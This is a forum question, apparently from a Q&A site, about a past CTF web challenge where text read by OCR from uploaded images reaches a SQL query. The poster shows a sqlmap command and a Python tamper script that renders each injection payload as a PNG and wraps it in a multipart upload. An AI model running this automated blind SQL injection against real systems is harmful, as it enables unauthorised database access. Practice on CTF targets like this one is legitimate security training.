0

Note: this is a challenge in a past CTF.

There is a webapp where you can submit an image that contains some text and the app will run an OCR and search for the text in a database. The app is vulnerable to Blind SQLi, and I have successfully tested some payloads, and I now wanted to automatize the process using SQLMap.

I have a script that given a payload, generates the appropriate PNG image, that can be submitted using the form in the web. Is there any way to integrate the image generation script with SQLMap?

What I am looking for is: SQLMap gives me a payload, I return the image and SQLMap submits the form with the file. I have tried using my script as a tamper module to no avail.

SQLMap parameters

 python sqlmap.py --random-agent --delay=1 --level=5 --risk=3 -u "http://hostname/" --data "*" --method POST --tamper asfile

asfile tamper script

import mimetypes

from PIL import Image, ImageDraw, ImageFont


def tamper(payload, **kwargs):
    # create background image
    image = Image.new('RGB', (6000, 70), color='white')
    draw = ImageDraw.Draw(image)

    font = ImageFont.truetype('Arial.ttf', size=36)

    # starting position of the message
    (x, y) = (20, 10)
    message = payload
    color = 'rgb(0, 0, 0)'

    # draw the message on the background
    draw.text((x, y), message, fill=color, font=font)

    # save the edited image, for debugging
    image.save('payload.png')
    body, headers = encode_multipart_data({'file': 'payload.png'})
    print(body)
    return body if payload else payload


def encode_multipart_data(files):
    boundary = '10631893651959714515965159566'

    def get_content_type(filename):
        return mimetypes.guess_type(filename)[0] or 'image/png'

    def encode_file(field_name):
        filename = files[field_name]
        return ('--' + boundary,
                'Content-Disposition: form-data; name="%s"; filename="%s"' % (field_name, filename),
                'Content-Type: %s' % get_content_type(filename),
                '', open(filename, 'rb').read())

    lines = []
    for name in files:
        lines.extend(encode_file(name))
    lines.extend(('--%s--' % boundary, ''))
    body = ""
    for l in lines:
        body += str(l)
        body += '\r\n'

    headers = {'content-type': 'multipart/form-data; boundary=10631893651959714515965159566',
               'content-length': str(len(body))}

    return body, headers

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.